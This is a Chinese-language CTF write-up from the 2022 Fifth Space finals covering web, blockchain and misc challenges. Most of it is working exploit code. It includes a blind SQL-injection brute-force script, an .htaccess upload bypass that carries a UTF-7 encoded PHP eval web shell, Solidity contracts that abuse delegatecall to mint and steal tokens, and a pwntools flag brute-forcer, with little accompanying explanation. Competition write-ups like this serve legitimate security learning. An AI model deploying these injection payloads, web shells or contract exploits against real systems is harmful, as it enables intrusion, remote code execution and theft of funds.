2022第五空间决赛WriteUp|web、misc方向合集
WEB
import requests
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,_.+-}{'
flag = ""
url = "http://39.106.143.69:27538"
for i in range(1,50):
for j in tables:
#payload = "/index.php?id=-3'or/**/if((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer)regexp/**/binary/**/'%s',exp(710),1)/**/or'-1"%(('^'+flag+j))
#payload = "/index.php?id=-3'or/**/if((select/**/group_concat(x.1)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/flag)x)regexp/**/'%s',exp(710),1)/**/or'-1"%(('^'+flag+j))
payload = "/index.php?id=-3'or/**/if((select/**/group_concat(x.2)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)x)regexp/**/binary/**/'%s',exp(710),1)/**/or'-1"%(('^'+flag+j))
r = requests.get(url+payload)
if "没有这个星" in r.text:
flag = flag + j
print(flag)
break
class Gethint{
protected $value=0;
public function __destruct(){
echo $this->value;
if($this->value==1)
show_flag();
else
die('nonono');
}
}
$hh=$_GET['hh'];
$hh=str_replace('Gethint', '', $hh);
unserialize($hh); 上传直接UTF-7绕过即可
.htaccess
AddType application/x-httpd-php .aaa
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CTFToken is ERC20,Ownable {
bool airdropped;
constructor() ERC20("CTFToken", "CTF") {
_mint(address(msg.sender), 100000000000);
}
function airdrop(uint num) public onlyOwner {
require(!airdropped, "Already airdropped");
airdropped = true;
_mint(msg.sender, num);
}
}
contract Vuln {
CTFToken public token;
bool solved;
constructor() public {
token=new CTFToken();
}
function set(address _contract) public {
(bool success, bytes memory data) = _contract.delegatecall(
abi.encodeWithSignature("set()")
);
require(success, "delegatecall failed");
require(!solved, "");
}
function solve() public{
require(token.balanceOf(msg.sender)>=100000000000);
solved=true;
}
function isSolved() public view returns(bool){
return solved;
}
}
contract delegate {
// 括号里填CTFToken的地址
CTFToken token = CTFToken(0x3aD18EC437c396539C439CD1A4721B01F2800b1A);
function set() public {
token.airdrop(100000000000);
}
}
contract delegate1 {
// 括号里填CTFToken的地址
CTFToken token = CTFToken(0x3aD18EC437c396539C439CD1A4721B01F2800b1A);
function set() public {
// 第一个参数为POC合约地址
token.transfer(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9, 100000000000);
}
}
contract POC {
// 括号里填Vuln合约地址
Vuln vul = Vuln(0xddaAd340b0f1Ef65169Ae5E41A8b10776a75482d);
function go(address dele) public {
vul.set(dele);
}
function go1(address dele1) public {
vul.set(dele1);
}
function go2() public {
vul.solve();
}
}
0xd86920b63C6974369a296659f62Ded1B238177f3
v4.local.UckgmAQV_9Qc4vpM0Iqq5h6s7Z1I6QlV1RoB0b7Xh8gn91CeS2ece7GBiH8dkgjAsL3GcJfF7y-ALceNkf1nNFKfrCwo6yT5UGu96Qp8wN8qn0oNSBV2V17T9tyyuWEda7jovVe-qKr-bPryiRqFtNCW6qnz-t0TVBl-iS0r8qzACA
contract address: 0x42B659e8AF2F25e81d327e36f4CfeDeF9bB0a323
token:0xfDE23346cDb712739A6f0E119CDd479ee5DeFB16MISC
可以看到如果存在字符串则为0.9....,不存在则为1.0
然后如果存在两个字符串数字就变小,试一下三个字符,发现数字变大,说明不存在三个字符。
这样就可以找到了所有的字符串:578epasdfghjlvn{}gl,猜测为flag{},那么剩下的字符为578epsdghjvnl
再说明一点,如果j在8的右边,则数字变小,d不在8的右边则增大,那么根据这个规律写脚本爆破。
from pwn import *
p = remote("39.107.27.191", 20853)
str = "578epsdghjvnl}"
for i in str:
print(i+" : ")
str2 = str.replace(i, '', 1)
#print(str2)
for j in str2:
payload = "flag{"+i+j
#print(payload)
p.sendlineafter('flag> ',payload)
p.recvuntil('')
s = p.recv(16)
print(s)
p.interactive()
flag{5lgpsnd8j7vhe}